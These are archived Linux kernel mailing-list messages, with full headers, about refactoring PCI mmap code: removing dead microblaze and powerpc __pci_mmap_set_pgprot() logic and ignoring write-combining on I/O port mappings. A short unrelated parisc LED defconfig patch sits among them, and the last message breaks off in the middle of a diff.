Message-ID: <20160608210322.GA4248@localhost>
References: <20160604000642.28162-1-yinghai@kernel.org>
 <20160604000642.28162-2-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465419820 20453 80.91.229.3 (8 Jun 2016 21:03:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2016 21:03:40 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org
To: Yinghai Lu <yinghai@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Jun 08 23:03:31 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1bAkdO-0005iv-Go
	for glps-linuxsh-dev@plane.gmane.org; Wed, 08 Jun 2016 23:03:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1162248AbcFHVD3 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 8 Jun 2016 17:03:29 -0400
Original-Received: from mail.kernel.org ([198.145.29.136]:34864 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751433AbcFHVD1 (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Wed, 8 Jun 2016 17:03:27 -0400
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id B62BA20340;
	Wed,  8 Jun 2016 21:03:25 +0000 (UTC)
Original-Received: from localhost (unknown [69.71.1.1])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 257E720149;
	Wed,  8 Jun 2016 21:03:24 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20160604000642.28162-2-yinghai@kernel.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:54177 gmane.linux.kernel.pci:52475 gmane.linux.kernel:2239253 gmane.linux.ports.arm.kernel:505453 gmane.linux.ports.ia64:26859 gmane.linux.ports.mips.general:55065 gmane.linux.ports.parisc:26848 gmane.linux.ports.ppc64.devel:128335 gmane.linux.ports.sparc:23049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/54177>

On Fri, Jun 03, 2016 at 05:06:28PM -0700, Yinghai Lu wrote:
> This one is preparing patch for next one:
>   PCI: Let pci_mmap_page_range() take resource addr
> 
> We need to pass extra resource pointer to avoid searching that again
> for powerpc and microblaze prot set operation.

I'm not convinced yet that the extra resource pointer is necessary.

Microblaze does look up the resource in pci_mmap_page_range(), but it
never actually uses it.  It *looks* like it uses it, but that code is
actually dead and I think we should apply the first patch below.

That leaves powerpc as the only arch that would use this extra
resource pointer.  It uses it in __pci_mmap_set_pgprot() to help
decide whether to make a normal uncacheable mapping or a write-
combining one.  There's nothing here that's specific to the powerpc
architecture, and I don't think we should add this parameter just to
cater to powerpc.

There are two cases where __pci_mmap_set_pgprot() on powerpc does
something based on the resource:

  1) We're using procfs to mmap I/O port space after we requested
     write-combining, e.g., we did this:

       ioctl(fd, PCIIOC_MMAP_IS_IO);           # request I/O port space
       ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
       mmap(fd, ...)

     On powerpc, we ignore the write-combining request in this case.

     I think we can handle this case by applying the second patch
     below to ignore write-combining on I/O space for all arches, not
     just powerpc.

  2) We're using sysfs to mmap resourceN (not resourceN_wc), and
     the resource is prefetchable.  On powerpc, we turn *on*
     write-combining, even though the user didn't ask for it.

     I'm not sure this case is actually safe, because it changes the
     ordering properties.  If it *is* safe, we could enable write-
     combining in pci_mmap_resource(), where we already have the
     resource and it could be done for all arches.

     This case is not strictly necessary, except to avoid a
     performance regression, because the user could have mapped
     resourceN_wc to explicitly request write-combining.

> diff --git a/drivers/pci/pci-sysfs.c b/drivers/pci/pci-sysfs.c
> index d319a9c..5bbe20c 100644
> --- a/drivers/pci/pci-sysfs.c
> +++ b/drivers/pci/pci-sysfs.c
> @@ -1027,7 +1027,7 @@ static int pci_mmap_resource(struct kobject *kobj, struct bin_attribute *attr,
>  	pci_resource_to_user(pdev, i, res, &start, &end);
>  	vma->vm_pgoff += start >> PAGE_SHIFT;
>  	mmap_type = res->flags & IORESOURCE_MEM ? pci_mmap_mem : pci_mmap_io;
> -	return pci_mmap_page_range(pdev, vma, mmap_type, write_combine);
> +	return pci_mmap_page_range(pdev, res, vma, mmap_type, write_combine);
>  }
>  
>  static int pci_mmap_resource_uc(struct file *filp, struct kobject *kobj,
> diff --git a/drivers/pci/proc.c b/drivers/pci/proc.c
> index 3f155e7..f19ee2a 100644
> --- a/drivers/pci/proc.c
> +++ b/drivers/pci/proc.c
> @@ -245,7 +245,7 @@ static int proc_bus_pci_mmap(struct file *file, struct vm_area_struct *vma)
>  	if (i >= PCI_ROM_RESOURCE)
>  		return -ENODEV;
>  
> -	ret = pci_mmap_page_range(dev, vma,
> +	ret = pci_mmap_page_range(dev, &dev->resource[i], vma,
>  				  fpriv->mmap_state,
>  				  fpriv->write_combine);
>  	if (ret < 0)
> diff --git a/include/linux/pci.h b/include/linux/pci.h
> index b67e4df..3c1a0f4 100644
> --- a/include/linux/pci.h
> +++ b/include/linux/pci.h
> @@ -70,6 +70,12 @@ enum pci_mmap_state {
>  	pci_mmap_mem
>  };
>  
> +struct vm_area_struct;
> +/* Map a range of PCI memory or I/O space for a device into user space */
> +int pci_mmap_page_range(struct pci_dev *dev, struct resource *res,
> +			struct vm_area_struct *vma,
> +			enum pci_mmap_state mmap_state, int write_combine);
> +
>  /*
>   *  For PCI devices, the region numbers are assigned this way:
>   */


commit 4e712b691abc5b579e3e4327f56b0b7988bdd1cb
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Wed Jun 8 14:00:14 2016 -0500

    microblaze/PCI: Remove useless __pci_mmap_set_pgprot()
    
    The microblaze __pci_mmap_set_pgprot() was apparently copied from powerpc,
    where it computes either an uncacheable pgprot_t or a write-combining one.
    But on microblaze, we always use the regular uncacheable pgprot_t.
    
    Remove the useless code in __pci_mmap_set_pgprot() and inline the
    pgprot_noncached() at the only caller.
    
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index 14cba60..1974567 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -219,33 +219,6 @@ static struct resource *__pci_mmap_make_offset(struct pci_dev *dev,
 }
 
 /*
- * Set vm_page_prot of VMA, as appropriate for this architecture, for a pci
- * device mapping.
- */
-static pgprot_t __pci_mmap_set_pgprot(struct pci_dev *dev, struct resource *rp,
-				      pgprot_t protection,
-				      enum pci_mmap_state mmap_state,
-				      int write_combine)
-{
-	pgprot_t prot = protection;
-
-	/* Write combine is always 0 on non-memory space mappings. On
-	 * memory space, if the user didn't pass 1, we check for a
-	 * "prefetchable" resource. This is a bit hackish, but we use
-	 * this to workaround the inability of /sysfs to provide a write
-	 * combine bit
-	 */
-	if (mmap_state != pci_mmap_mem)
-		write_combine = 0;
-	else if (write_combine == 0) {
-		if (rp->flags & IORESOURCE_PREFETCH)
-			write_combine = 1;
-	}
-
-	return pgprot_noncached(prot);
-}
-
-/*
  * This one is used by /dev/mem and fbdev who have no clue about the
  * PCI device, it tries to find the PCI device first and calls the
  * above routine
@@ -317,9 +290,7 @@ int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
 		return -EINVAL;
 
 	vma->vm_pgoff = offset >> PAGE_SHIFT;
-	vma->vm_page_prot = __pci_mmap_set_pgprot(dev, rp,
-						  vma->vm_page_prot,
-						  mmap_state, write_combine);
+	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
 
 	ret = remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
 			       vma->vm_end - vma->vm_start, vma->vm_page_prot);



commit 962972ee5e0ba6ceb680cb182bad65f8886586a6
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Wed Jun 8 14:46:54 2016 -0500

    PCI: Ignore write-combining when mapping I/O port space
    
    PCI exposes files like /proc/bus/pci/00/00.0 in procfs.  These files
    support operations like this:
    
      ioctl(fd, PCIIOC_MMAP_IS_IO);           # request I/O port space
      ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
      mmap(fd, ...)
    
    Many architectures don't allow mmap of I/O port space at all, but I don't
    think it makes sense to do a write-combining mapping on the ones that do.
    We could change proc_bus_pci_ioctl() so the user could never enable write-
    combining for I/O port space, but that would break the following sequence,
    which is currently legal:
    
      mmap(fd, ...)                           # default is I/O, non-combining
      ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
      ioctl(fd, PCIIOC_MMAP_IS_MEM);          # request memory space
      mmap(fd, ...)
    
    Ignore the write-combining flag when mapping I/O port space.
    
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

diff --git a/drivers/pci/proc.c b/drivers/pci/proc.c
index 3f155e7..21f8d613 100644
--- a/drivers/pci/proc.c
+++ b/drivers/pci/proc.c
@@ -247,7 +247,8 @@ static int proc_bus_pci_mmap(struct file *file, struct vm_area_struct *vma)
 
 	ret = pci_mmap_page_range(dev, vma,
 				  fpriv->mmap_state,
-				  fpriv->write_combine);
+				  (fpriv->mmap_state == pci_mmap_mem) ?
+					fpriv->write_combine : 0);
 	if (ret < 0)
 		return ret;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Linz <linz@li-pro.net>
Newsgroups: gmane.linux.leds,gmane.linux.ide,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v3 6/7] parisc: use the new LED disk activity trigger
Date: Thu,  9 Jun 2016 00:29:41 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20160608223000.433-6-linz@li-pro.net>
References: <20160608223000.433-1-linz@li-pro.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465425187 6487 80.91.229.3 (8 Jun 2016 22:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2016 22:33:07 +0000 (UTC)
Cc: Stephan Linz <linz@li-pro.net>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: linux-leds@vger.kernel.org, linux-ide@vger.kernel.org
Original-X-From: linux-leds-owner@vger.kernel.org Thu Jun 09 00:32:59 2016
Return-path: <linux-leds-owner@vger.kernel.org>
Envelope-to: gll-linux-leds@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-leds-owner@vger.kernel.org>)
	id 1bAm1y-0005Qb-NB
	for gll-linux-leds@plane.gmane.org; Thu, 09 Jun 2016 00:32:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1426096AbcFHWcm (ORCPT <rfc822;gll-linux-leds@m.gmane.org>);
	Wed, 8 Jun 2016 18:32:42 -0400
Original-Received: from mo4-p00-ob.smtp.rzone.de ([81.169.146.163]:34419 "EHLO
	mo4-p00-ob.smtp.rzone.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1425811AbcFHWcD (ORCPT
	<rfc822;linux-leds@vger.kernel.org>); Wed, 8 Jun 2016 18:32:03 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; t=1465425099; l=1310;
	s=domk; d=li-pro.net;
	h=References:In-Reply-To:Date:Subject:Cc:To:From;
	bh=B3Wl7un1JzlW5IFaKGwWTSS/Pr7u7zHJBXhPO7sYTZg=;
	b=Tr7k1ihgrPRVk0N3ksnxqC5UlwMOii/KJDpTc1FNIu1rQ2GN3qDKUc+VLgyiwznM/62
	fCPJ+T31/MiVUotNcsTtw/nvTPs91Qt/16pbGJ6r6yLWCMr0mvXt1y4EvyvoZVZ7r4e/p
	13sABXfDI5mi5aI4dsF108H7MXtMm1IOYtc=
X-RZG-AUTH: :IGUKb2CkcrLHmZv+FHarxbxlXmVV62wuQa970vlgN/Vs5LwOoKez4dDM0WsBYyEc
X-RZG-CLASS-ID: mo00
Original-Received: from li-pro.net (pD9E8756F.dip0.t-ipconnect.de [217.232.117.111])
	by smtp.strato.de (RZmta 38.2 DYNA|AUTH)
	with ESMTPSA id Q08dafs58MVT928
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-SHA (curve secp521r1 with 521 ECDH bits, eq. 15360 bits RSA))
	(Client did not present a certificate);
	Thu, 9 Jun 2016 00:31:29 +0200 (CEST)
X-Mailer: git-send-email 2.8.4
In-Reply-To: <20160608223000.433-1-linz@li-pro.net>
Original-Sender: linux-leds-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-leds.vger.kernel.org>
X-Mailing-List: linux-leds@vger.kernel.org
Xref: news.gmane.org gmane.linux.leds:5183 gmane.linux.ide:61821 gmane.linux.ports.parisc:26849 gmane.linux.kernel:2239318
Archived-At: <http://permalink.gmane.org/gmane.linux.leds/5183>

- platform: rename 'ide-disk' to 'disk-activity'

Signed-off-by: Stephan Linz <linz@li-pro.net>
---
 arch/parisc/configs/generic-32bit_defconfig | 2 +-
 arch/parisc/configs/generic-64bit_defconfig | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
index 5b04d70..8688ba7 100644
--- a/arch/parisc/configs/generic-32bit_defconfig
+++ b/arch/parisc/configs/generic-32bit_defconfig
@@ -214,7 +214,7 @@ CONFIG_NEW_LEDS=y
 CONFIG_LEDS_CLASS=y
 CONFIG_LEDS_TRIGGERS=y
 CONFIG_LEDS_TRIGGER_TIMER=y
-CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_DISK=y
 CONFIG_LEDS_TRIGGER_HEARTBEAT=y
 CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
 CONFIG_DMADEVICES=y
diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
index e945c08..7e07926 100644
--- a/arch/parisc/configs/generic-64bit_defconfig
+++ b/arch/parisc/configs/generic-64bit_defconfig
@@ -231,7 +231,7 @@ CONFIG_LEDS_CLASS=y
 CONFIG_LEDS_TRIGGERS=y
 CONFIG_LEDS_TRIGGER_TIMER=y
 CONFIG_LEDS_TRIGGER_ONESHOT=y
-CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_DISK=y
 CONFIG_LEDS_TRIGGER_HEARTBEAT=m
 CONFIG_LEDS_TRIGGER_BACKLIGHT=m
 CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
-- 
2.8.4


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra
 resource pointer
Date: Wed, 8 Jun 2016 15:35:16 -0700
Lines: 223
Approved: news@gmane.org
Message-ID: <CAE9FiQXPmG6UYYGHG52_i8vaBJ5yPm6Z4Zfx_BhQxVhyWC5fnw@mail.gmail.com>
References: <20160604000642.28162-1-yinghai@kernel.org> <20160604000642.28162-2-yinghai@kernel.org>
 <20160608210322.GA4248@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465425326 8143 80.91.229.3 (8 Jun 2016 22:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jun 2016 22:35:26 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>, linux-cris-kernel@axis.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-sh@vger.kernel.org,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	linux-xtensa@linux-xtensa.org
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-pci-owner@vger.kernel.org Thu Jun 09 00:35:24 2016
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1bAm4J-0005ru-9h
	for glp-linux-pci@plane.gmane.org; Thu, 09 Jun 2016 00:35:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161475AbcFHWfV (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Wed, 8 Jun 2016 18:35:21 -0400
Original-Received: from mail-vk0-f65.google.com ([209.85.213.65]:35746 "EHLO
	mail-vk0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753052AbcFHWfT (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Wed, 8 Jun 2016 18:35:19 -0400
Original-Received: by mail-vk0-f65.google.com with SMTP id t7so3656276vkf.2;
        Wed, 08 Jun 2016 15:35:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=o/PXBdUhtKAtNx0wPxKmA9We/6gUPkkLCMCYkSZINhI=;
        b=l2HqcPJo6dhJ/xOogP8FJXPI6ENPpiY6UwWZRoy9TYdf3qMFcJ/981FFT7q6LDSO58
         240+gFAhkD1/HTFWvzCRqfCdQ+zCl2u4DTGk6JR5xFfyEnk0HmSdvfCypzmfQ1uXjxMV
         TzkSUalAhWcf2PkFpnctFWgc0GTe+1rcfdhLpU5I3IHwp7xvTn7OyI8lZfEQj1uzgffK
         xZHI4etAfwJzZ+6P3cA2BO3gQmUbA7ZscnvJAu5KhHq/Cs8nSw4jHlo+m7/8z1ZqxTrH
         AAV5ROYR54GjBFXpPHSZF247bYkWafATA26EXkhFP4voMqq8STmiKf/dFMnWPg5gj2Fc
         HavA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=o/PXBdUhtKAtNx0wPxKmA9We/6gUPkkLCMCYkSZINhI=;
        b=bJu62dmGNgq88MSbJG5wuR8g155wUvqVsHARdyAnZ2v1DTuxFaaHkVWg+j4nNq4DAH
         vay1TMlH2CVu5bsfefMBjvbhy8xezw/UmxVoCUlKgSgdC3JTjKisj5HEyOQcrup9nJkr
         u1wfChOocoDu6RI2dzaDZJHLg+iu3BtFndyPanuBNQDsmEsVgQGKMXbrhfssdX9+w7W5
         QeFD7c1tpghSDiZZjiyoAWjrltat213fxYd7EyQd+1/datWuT4DyvFj/Jfz/qcC+4Spc
         zchF6A4/T/lYuC7f0RdXLuM5VRQ0Uucp60QgDAISdGYnH0aTd0IR7u4wq0u7z6X2Kypl
         YlYw==
X-Gm-Message-State: ALyK8tKfTH2sP8QQ+sDdUnqJcOLT8JcZRV2WGuLDv2DGYV2280nszgGzbi1dM0cXvcOpX/L+aPC8nF3R8Ig/Jw==
X-Received: by 10.159.35.72 with SMTP id 66mr3452083uae.55.1465425317579; Wed,
 08 Jun 2016 15:35:17 -0700 (PDT)
Original-Received: by 10.103.81.11 with HTTP; Wed, 8 Jun 2016 15:35:16 -0700 (PDT)
In-Reply-To: <20160608210322.GA4248@localhost>
X-Google-Sender-Auth: 2EorLEpjbky_9VCUtCXyavcyL18
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:52476 gmane.linux.kernel:2239319 gmane.linux.ports.arm.kernel:505471 gmane.linux.ports.ia64:26860 gmane.linux.ports.mips.general:55067 gmane.linux.ports.parisc:26850 gmane.linux.ports.ppc64.devel:128338 gmane.linux.ports.sh.devel:54179 gmane.linux.ports.sparc:23050
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/52476>

On Wed, Jun 8, 2016 at 2:03 PM, Bjorn Helgaas <helgaas@kernel.org> wrote:
>
> Microblaze does look up the resource in pci_mmap_page_range(), but it
> never actually uses it.  It *looks* like it uses it, but that code is
> actually dead and I think we should apply the first patch below.

Good one.

>
> That leaves powerpc as the only arch that would use this extra
> resource pointer.  It uses it in __pci_mmap_set_pgprot() to help
> decide whether to make a normal uncacheable mapping or a write-
> combining one.  There's nothing here that's specific to the powerpc
> architecture, and I don't think we should add this parameter just to
> cater to powerpc.
>
> There are two cases where __pci_mmap_set_pgprot() on powerpc does
> something based on the resource:
>
>   1) We're using procfs to mmap I/O port space after we requested
>      write-combining, e.g., we did this:
>
>        ioctl(fd, PCIIOC_MMAP_IS_IO);           # request I/O port space
>        ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
>        mmap(fd, ...)
>
>      On powerpc, we ignore the write-combining request in this case.
>
>      I think we can handle this case by applying the second patch
>      below to ignore write-combining on I/O space for all arches, not
>      just powerpc.
>
>   2) We're using sysfs to mmap resourceN (not resourceN_wc), and
>      the resource is prefetchable.  On powerpc, we turn *on*
>      write-combining, even though the user didn't ask for it.
>
>      I'm not sure this case is actually safe, because it changes the
>      ordering properties.  If it *is* safe, we could enable write-
>      combining in pci_mmap_resource(), where we already have the
>      resource and it could be done for all arches.
>
>      This case is not strictly necessary, except to avoid a
>      performance regression, because the user could have mapped
>      resourceN_wc to explicitly request write-combining.
>

Agreed.

>
> commit 4e712b691abc5b579e3e4327f56b0b7988bdd1cb
> Author: Bjorn Helgaas <bhelgaas@google.com>
> Date:   Wed Jun 8 14:00:14 2016 -0500
>
>     microblaze/PCI: Remove useless __pci_mmap_set_pgprot()
>
>     The microblaze __pci_mmap_set_pgprot() was apparently copied from powerpc,
>     where it computes either an uncacheable pgprot_t or a write-combining one.
>     But on microblaze, we always use the regular uncacheable pgprot_t.
>
>     Remove the useless code in __pci_mmap_set_pgprot() and inline the
>     pgprot_noncached() at the only caller.
>
>     Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
>
> diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
> index 14cba60..1974567 100644
> --- a/arch/microblaze/pci/pci-common.c
> +++ b/arch/microblaze/pci/pci-common.c
> @@ -219,33 +219,6 @@ static struct resource *__pci_mmap_make_offset(struct pci_dev *dev,
>  }
>
>  /*
> - * Set vm_page_prot of VMA, as appropriate for this architecture, for a pci
> - * device mapping.
> - */
> -static pgprot_t __pci_mmap_set_pgprot(struct pci_dev *dev, struct resource *rp,
> -                                     pgprot_t protection,
> -                                     enum pci_mmap_state mmap_state,
> -                                     int write_combine)
> -{
> -       pgprot_t prot = protection;
> -
> -       /* Write combine is always 0 on non-memory space mappings. On
> -        * memory space, if the user didn't pass 1, we check for a
> -        * "prefetchable" resource. This is a bit hackish, but we use
> -        * this to workaround the inability of /sysfs to provide a write
> -        * combine bit
> -        */
> -       if (mmap_state != pci_mmap_mem)
> -               write_combine = 0;
> -       else if (write_combine == 0) {
> -               if (rp->flags & IORESOURCE_PREFETCH)
> -                       write_combine = 1;
> -       }
> -
> -       return pgprot_noncached(prot);
> -}
> -
> -/*
>   * This one is used by /dev/mem and fbdev who have no clue about the
>   * PCI device, it tries to find the PCI device first and calls the
>   * above routine
> @@ -317,9 +290,7 @@ int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
>                 return -EINVAL;
>
>         vma->vm_pgoff = offset >> PAGE_SHIFT;
> -       vma->vm_page_prot = __pci_mmap_set_pgprot(dev, rp,
> -                                                 vma->vm_page_prot,
> -                                                 mmap_state, write_combine);
> +       vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
>
>         ret = remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
>                                vma->vm_end - vma->vm_start, vma->vm_page_prot);
>

Acked-by: Yinghai Lu <yinghai@kernel.org>

>
>
> commit 962972ee5e0ba6ceb680cb182bad65f8886586a6
> Author: Bjorn Helgaas <bhelgaas@google.com>
> Date:   Wed Jun 8 14:46:54 2016 -0500
>
>     PCI: Ignore write-combining when mapping I/O port space
>
>     PCI exposes files like /proc/bus/pci/00/00.0 in procfs.  These files
>     support operations like this:
>
>       ioctl(fd, PCIIOC_MMAP_IS_IO);           # request I/O port space
>       ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
>       mmap(fd, ...)
>
>     Many architectures don't allow mmap of I/O port space at all, but I don't
>     think it makes sense to do a write-combining mapping on the ones that do.
>     We could change proc_bus_pci_ioctl() so the user could never enable write-
>     combining for I/O port space, but that would break the following sequence,
>     which is currently legal:
>
>       mmap(fd, ...)                           # default is I/O, non-combining
>       ioctl(fd, PCIIOC_WRITE_COMBINE, 1);     # request write-combining
>       ioctl(fd, PCIIOC_MMAP_IS_MEM);          # request memory space
>       mmap(fd, ...)
>
>     Ignore the write-combining flag when mapping I/O port space.
>
>     Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
>
> diff --git a/drivers/pci/proc.c b/drivers/pci/proc.c
> index 3f155e7..21f8d613 100644
> --- a/drivers/pci/proc.c
> +++ b/drivers/pci/proc.c
> @@ -247,7 +247,8 @@ static int proc_bus_pci_mmap(struct file *file, struct vm_area_struct *vma)
>
>         ret = pci_mmap_page_range(dev, vma,
>                                   fpriv->mmap_state,
> -                                 fpriv->write_combine);
> +                                 (fpriv->mmap_state == pci_mmap_mem) ?
> +                                       fpriv->write_combine : 0);
>         if (ret < 0)
>                 return ret;
>

ok to me.

At the same time, can you kill __pci_mmap_set_pgprot() for powerpc.

diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0f7a60f..0d0148d 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -356,36 +356,6 @@ static struct resource
*__pci_mmap_make_offset(struct pci_dev *dev,
 }

 /*
- * Set vm_page_prot of VMA, as appropriate for this architecture, for a pci
- * device mapping.
- */
-static pgprot_t __pci_mmap_set_pgprot(struct pci_dev *dev, struct resource *rp,
-                      pgprot_t protection,
-                      enum pci_mmap_state mmap_state,
-                      int write_combine)
-{
-
-    /* Write combine is always 0 on non-memory space mappings. On
-     * memory space, if the user didn't pass 1, we check for a
-     * "prefetchable" resource. This is a bit hackish, but we use
-     * this to workaround the inability of /sysfs to provide a write
-     * combine bit
-     */
-    if (mmap_state != pci_mmap_mem)
-        write_combine = 0;
-    else if (write_combine == 0) {
-        if (rp->flags & IORESOURCE_PREFETCH)
-            write_combine = 1;
-    }
-
-    /* XXX would be nice to have a way to ask for write-through */
-    if (write_combine)
-        return pgprot_noncached_wc(protection);
-    else
